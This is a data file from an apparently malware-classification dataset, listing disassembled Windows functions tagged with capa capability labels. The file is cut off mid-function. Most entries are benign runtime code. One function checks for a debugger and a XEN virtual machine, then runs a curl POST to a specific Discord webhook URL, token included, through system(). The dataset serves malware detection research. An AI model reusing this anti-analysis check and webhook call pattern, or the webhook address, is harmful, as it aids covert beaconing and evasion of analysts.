joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100008c48
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov rbp, qword [r8]
xor eax, eax
xor ebx, ebx
mov rdi, rdx
mov esi, r9d
mov r12, rcx
lea edx, [rbx + 1]
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
mov qword [r11 - 0x38], rbx
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
cmp rax, rbx
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x50], eax
je 0x100008d77
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x90]
mov r8d, esi
mov rdx, rbp
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x100008d6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r11d, eax
cmp eax, 0x3e5
jne 0x100008d59
mov rax, qword [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea ecx, [rbx + 2]
mov qword [rsp + 0x30], rax
mov rax, qword [r12 + 0x28]
or r9d, 0xffffffff
xor r8d, r8d
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, ebx
jne 0x100008d35
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
cmp eax, ebx
je 0x100008d41
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x100008d6a
cmp eax, 1
jne 0x100008d41
mov ebx, 0x800704c7
jmp 0x100008d6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
cmp eax, ebx
cmovle ecx, eax
mov ebx, ecx
jmp 0x100008d6a
movzx eax, ax
or eax, 0x80070000
cmp r11d, ebx
cmovle eax, r11d
mov ebx, eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100008d7c
mov ebx, 0x8007000e
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x100009824
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push rbx
push rbp
push rsi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x10000e160]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor ebx, ebx
cmp qword [rcx + 8], 0xffffffffffffffff
mov ebp, r9d
mov r13, r8
mov r12, rdx
mov rsi, rcx
jne 0x10000994a
cmp qword [rcx + 0x20], rbx
jne 0x100009882
lea edx, [rbx + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsi + 0x20], rax
test rax, rax
jne 0x100009882
mov ebx, 0x8007000e
jmp 0x10000994f
mov edx, 1
lea ecx, [rdx + 0x1f]
lea r8d, [rdx + 2]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x100009934
test ebp, ebp
je 0x1000098ec
lea r9, [rsp + 0x30]
mov edx, 3
mov r8d, 0x80000001
mov rcx, rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1000098ec
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x10000994f
movdqu xmm0, xmmword [r13]
mov rcx, qword [rsi + 8]
xor eax, eax
mov qword [rsp + 0x3a], rax
mov qword [rsp + 0x42], rax
mov qword [rsp + 0x4a], rax
movdqu xmmword [rsp + 0x42], xmm0
mov dword [rsp + 0x52], eax
mov eax, 0x20
lea rdx, [rsp + 0x38]
lea r8d, [rax - 2]
mov word [rsp + 0x38], ax
mov qword [rsp + 0x3a], r12
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10000994f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x10000994f
mov ebx, 0x8000ffff
mov eax, ebx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.10000ad60
add rsp, 0x60
pop r13
pop r12
pop rsi
pop rbp
pop rbx
ret
Function at 0x10000b02c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10000b079
cmp rcx, 0xffffffffffffffff
je 0x10000b079
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10000b071
cmp dword [rcx + 0x3c], edx
jl 0x10000b071
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10000b071
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10000b079
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140019cd0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140019d1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140019d1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140019d1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140019d1a
cmp dword [rcx + 0x84], 0xe
jbe 0x140019d1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140019d1c
xor al, al
add rsp, 0x28
ret

Function at 0x140021c5c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140021a4c
Function at 0x1400270d8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14002715f
mov rsi, rbx
cmp word [rax], bp
je 0x14002711e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140027108
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140027104
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140023f20
mov rdi, rax
test rax, rax
je 0x14002714c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14001b450
mov rbp, rdi
xor ecx, ecx
call fcn.140023ee4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14002d860
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d888
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002d888
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002c90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003d40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003d40
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002d00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400080a4]
mov rbx, rcx
test esi, esi
jle 0x140002e30
mov rax, qword [0x1400080a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002d4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002dd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002d30
mov rcx, rbx
call fcn.140003750
mov rdi, rax
test rax, rax
je 0x140002e52
mov rax, qword [0x1400080a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003890
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400080a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002e37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002dce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002de0
add dword [0x1400080a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400080a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002c90
nop dword [rax]
xor esi, esi
jmp 0x140002d58
mov rax, qword [0x1400080a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002c90
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002c90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400033c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x14000341c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003413
test rsi, rsi
je 0x140003413
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400033f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003750
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400059f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003770
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003778
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003770
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400037cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400037c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003770
add rax, 0x28
cmp rax, r9
jne 0x1400037b0
xor eax, eax
ret

Function at 0x1400037d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400059f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400037ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400037f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400037ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003890
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400059f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400038af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400038b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002fc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x140002ffd
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140003004
mov al, 1
jmp 0x14000314e
call fcn.140003a60
mov rcx, qword [rsp + 0xa0]
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x48]
call qword [rax + 0x18]
mov dword [rsp + 0x38], eax
call fcn.140003a60
mov dword [rsp + 0x3c], eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x3c]
call fcn.140003a70
movzx eax, al
test eax, eax
je 0x140003055
xor al, al
jmp 0x14000314e
mov qword [rsp + 0x50], 0x20
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x60]
mov rdx, rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400030bb
cmp dword [rsp + 0x30], 1
je 0x1400030c7
cmp dword [rsp + 0x30], 3
je 0x14000313c
jmp 0x14000314c
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x140003113
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x40], rax
je 0x140003113
xor al, al
jmp 0x14000314e
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14000312d
mov dword [rsp + 0x34], 1
jmp 0x140003135
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14000314e
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14000314e
xor al, al
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140005300
add rsp, 0x98
ret
Function at 0x140004cc0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x80], 0
jg 0x140004cf4
xor eax, eax
jmp 0x140004ea6
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x140004d1d
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140004ea6
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140004dbc
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.140001ee0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.140003a00
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x140004e96
mov rcx, qword [rsp + 0x70]
call fcn.1400035b0
mov qword [rsp + 0x38], 0xfff
cmp qword [rsp + 0x40], 0xfff
jbe 0x140004e5d
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140004e5b
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140004ea6
jmp 0x140004de2
cmp qword [rsp + 0x40], 0
jbe 0x140004e96
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140005300
add rsp, 0x68
ret
Function at 0x140004ec0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140004ef9
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140004fe7
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140004f8f
cmp qword [rsp + 0x20], 0
jle 0x140004f8f
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140004f39
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140003a00
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x140004fd7
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x140004fd7
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140004ff0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x78
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000503a
lea rdx, str.Could_not_get_module_handle_for_kernel32.dll_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
mov eax, 1
jmp 0x140005136
lea rdx, str.LoadLibraryA
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140005076
lea rdx, str.Could_not_get_address_of_LoadLibraryA_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
mov eax, 1
jmp 0x140005136
lea rdx, [0x1400075a0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1400050b2
lea rdx, str.Could_not_get_address_of_GetProcAddress_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
mov eax, 1
jmp 0x140005136
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400050d6
lea rdx, str.Debugger_detected__exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
mov eax, 1
jmp 0x140005136
call fcn.140003c30
movzx eax, al
test eax, eax
je 0x1400050fc
lea rdx, str.Running_in_a_XEN_VM__exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
mov eax, 1
jmp 0x140005136
lea rdx, str.curl__H__Content_Type:_application_json___X_POST__d___content_:__Hi___https:__discord.com_api_webhooks_1156961201423654912_5yDB0GUc1gdM_6q806gwrynsojmDuwzmZltLSqgR_iYAyjwSvzm_qZDKW5pcgermA6rv
lea rcx, [rsp + 0x40]
call fcn.140002220
lea rcx, [rsp + 0x40]
call fcn.140003920
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call fcn.140002890
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140005300
add rsp, 0x78
ret

Function at 0x140005c70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005cba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005cba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005cba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005cba
cmp dword [rcx + 0x84], 0xe
jbe 0x140005cba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005cbc
xor al, al
add rsp, 0x28
ret
Function at 0x14000e900
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set current directory

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x4d0], rbx
mov rax, qword [0x140043650]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov rdi, rdx
mov rbx, rcx
cmp qword [rdx + 0x18], 8
jb 0x14000e947
mov rcx, qword [rdx]
jmp 0x14000e94a
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000ea90
test al, 0x10
jne 0x14000ea90
xor esi, esi
mov qword [rsp + 0x20], rsi
cmp qword [rdi + 0x18], 8
jb 0x14000e972
mov rdi, qword [rdi]
lea r9, [rsp + 0x20]
lea r8, [rbp + 0x180]
mov edx, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
cmp word [rbp + 0x180], si
jne 0x14000e9ad
mov r9, rsi
jmp 0x14000e9ca
lea rax, [rbp + 0x180]
or r9, 0xffffffffffffffff
nop dword [rax + rax]
inc r9
cmp word [rax + r9*2], si
jne 0x14000e9c0
mov r8, r9
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x50]
call fcn.140004300
nop
mov rax, qword [rsp + 0x20]
mov word [rax], si
lea rdx, [rsp + 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
nop
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14000f4a0
test al, al
jne 0x14000ea32
xor bl, bl
jmp 0x14000ea48
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000db50
movzx ebx, al
cmp qword [rsp + 0x48], 8
jb 0x14000ea5a
mov rcx, qword [rsp + 0x30]
call fcn.140017c48
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
nop
cmp qword [rsp + 0x68], 8
jb 0x14000ea8b
mov rcx, qword [rsp + 0x50]
call fcn.140017c48
movzx eax, bl
jmp 0x14000eacf
add rbx, 0x20
xor r8d, r8d
lea rdx, [0x140039838]
mov rcx, rbx
call fcn.140004300
mov r8d, 0x10
lea rdx, str.File_not_found:
mov rcx, rbx
call fcn.140007940
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.140006d60
xor al, al
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.140017c60
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x4a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000fd80
Capabilities:
Get file system object information

Disassembly:
sub rsp, 0x518
mov rax, qword [0x140043650]
xor rax, rsp
mov qword [rsp + 0x500], rax
lea rdx, [rsp + 0x2f0]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x38]
xor edx, edx
mov r8d, 0x2b0
mov qword [rsp + 0x30], 0
call fcn.140019440
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x2f0]
mov r9d, 0x2b8
xor edx, edx
mov dword [rsp + 0x20], 0x2000
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov ecx, 0x4550
cmp ax, cx
jne 0x14000fe19
shr eax, 0x10
test ax, ax
jne 0x14000fe19
mov al, 1
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.140017c60
add rsp, 0x518
ret
xor al, al
mov rcx, qword [rsp + 0x500]
